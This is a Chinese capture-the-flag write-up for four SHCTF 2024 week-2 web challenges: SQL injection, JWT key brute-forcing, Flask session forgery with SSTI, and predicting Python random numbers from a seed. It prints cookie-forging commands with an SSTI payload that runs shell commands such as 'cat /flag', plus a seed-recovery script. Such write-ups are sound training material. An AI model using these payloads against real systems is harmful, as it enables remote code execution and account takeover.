SHCTF-2024-week2-wp(web)

SHCTF-2024-week2-wp

web

Week2自助查询

考点:sql注入

看到查询语句,直接sql注入

说明只有两列
查看当前数据库

查看'ctf'数据库下面的表

查看'flag'下的字段

查看'scretddata'的内容

根据提示,说明在注释里面

找到flag

SHCTF{5elf_s3RvICe_SEARch_334c747eabdf}

Week2登录验证

考点:jwt密钥爆破

抓包查看,发现有token

进行jwt密钥爆破,得到密钥为222333

使用密钥加密,把role改成admin,然后替换token发包就能拿到flag

Week2入侵者禁入

考点:session伪造+SSTI模板注入

分析这段代码,知道Flask的secret.key,想到Flask_session伪造

render_template_string()函数想到SSTI漏洞。
使用flask_session_cookie_manager工具构造payload

复制代码
python flask_session_cookie_manager3.py decode -c "eyJyb2xlIjp7ImZsYWciOiJ5b3VyX2ZsYWdfaGVyZSIsImlzX2FkbWluIjowfX0.ZvZ8IQ.B9Q1a7gFQvzs4Q3bGldXuiGHULg" -s "0day_joker"

python flask_session_cookie_manager3.py encode -s "0day_joker" -t "{'role': {'flag': '{{lipsum.globals["os"].popen("ls").read()}}', 'is_admin': 1}}"

python flask_session_cookie_manager3.py encode -s "0day_joker" -t "{'role': {'flag': '{{lipsum.globals["os"].popen("ls /").read()}}', 'is_admin': 1}}"

python flask_session_cookie_manager3.py encode -s "0day_joker" -t "{'role': {'flag': '{{lipsum.globals["os"].popen("cat /flag").read()}}', 'is_admin': 1}}"

修改session就能拿到flag。

Week2guess_the_number

考点:随机数

在伪随机数生成器(PRNG)中,一个种子并不只生成一个随机数。相反,它生成的是一个伪随机数序列。每次调用 random.randint() 或其他类似方法时,伪随机数生成器会根据当前的内部状态生成下一个随机数。因此,给定相同的种子,可以生成一系列相同的随机数

访问 /s0urce下载源码

复制代码
import flask
import random
from flask import Flask, request, render_template, send_file

app = Flask(__name__)

@app.route('/')
def index():
    return render_template('index.html', first_num = first_num)  

@app.route('/s0urce')
def get_source():
    file_path = "app.py"
    return send_file(file_path, as_attachment=True)
    
@app.route('/first')
def get_first_number():
    return str(first_num)
    
@app.route('/guess')
def verify_seed():
    num = request.args.get('num')
    if num == str(second_num):
        with open("/flag", "r") as file:
            return file.read()
    return "nonono"
 
def init():
    global seed, first_num, second_num
    seed = random.randint(1000000,9999999)
    random.seed(seed)
    first_num = random.randint(1000000000,9999999999)
    second_num = random.randint(1000000000,9999999999)

init()
app.run(debug=True)

分析可知,生成一个随机数,让我们预测下一个随机数。

在伪随机数生成器(PRNG)中,一个种子并不只生成一个随机数。相反,它生成的是一个伪随机数序列。每次调用 random.randint() 或其他类似方法时,伪随机数生成器会根据当前的内部状态生成下一个随机数。因此,给定相同的种子,可以生成一系列相同的随机数

所以可以使用脚本找到种子,然后就能预测下一个随机数

复制代码
import random

# 已知的 first_num
known_first_num = 6296819177

# 定义种子的范围
seed_min = 1000000
seed_max = 9999999

def find_seed(known_first_num, seed_min, seed_max):
    for seed in range(seed_min, seed_max + 1):
        # 用当前种子设置随机数生成器
        random.seed(seed)
        
        # 生成一个随机数
        first_num = random.randint(1000000000, 9999999999)
        
        # 检查生成的随机数是否与已知的相同
        if first_num == known_first_num:
            print(f"找到了种子: {seed}")
            return seed

    print("未找到匹配的种子")
    return None

# 调用函数查找种子
found_seed = find_seed(known_first_num, seed_min, seed_max)

根据找到的种子找出下一个随机数

输入拿到flag

SHCTF{th1s_Num8eR_is_EaSy_Gu3Ss_29c737b0d2ae}

相关推荐
零零信安5 小时前
AI智能体,攻守失衡的催化剂 | 零零信安
人工智能·网络安全·数据泄露·暗网·零零信安
白帽小阳5 小时前
2026前端面试题!(附答案及解析)
javascript·网络·python·安全·web安全·网络安全·护网行动
白帽小阳7 小时前
[特殊字符]【2026最新】零基础入门学网络安全(详细路线图),看这篇就够了!
学习·安全·web安全·网络安全·安全运营·学习路线·web渗透
HackTwoHub13 小时前
AI大模型攻击思路,涵盖提示词劫持、知识库投毒、多语种混淆 + 身份伪装、诱导 AI 输出涉密后台核心配置
人工智能·安全·web安全·网络安全·自动化·系统安全·安全架构
Eastmount14 小时前
[论文阅读] (51)ESWA25 基于启发式优化器的入侵检测系统
论文阅读·网络安全·sci·入侵检测·eswa
白帽小阳14 小时前
Typora插件开发指南:打造专属IDE式写作环境
c语言·网络·python·网络安全·github·pygame·护网行动
Sagittarius_A*14 小时前
Web 渗透信息收集实战:站点指纹识别与目录扫描
网络安全·渗透测试·kali
2601_957174651 天前
零基础学网络安全能学好吗
安全·web安全
m0_738120721 天前
PHP代码审计基础——超全局变量(三)
开发语言·安全·网络安全·php
Chengbei112 天前
VMware Workstation Pro 26H1免费虚拟化利器
运维·安全·web安全·自动化·系统安全·apache·安全架构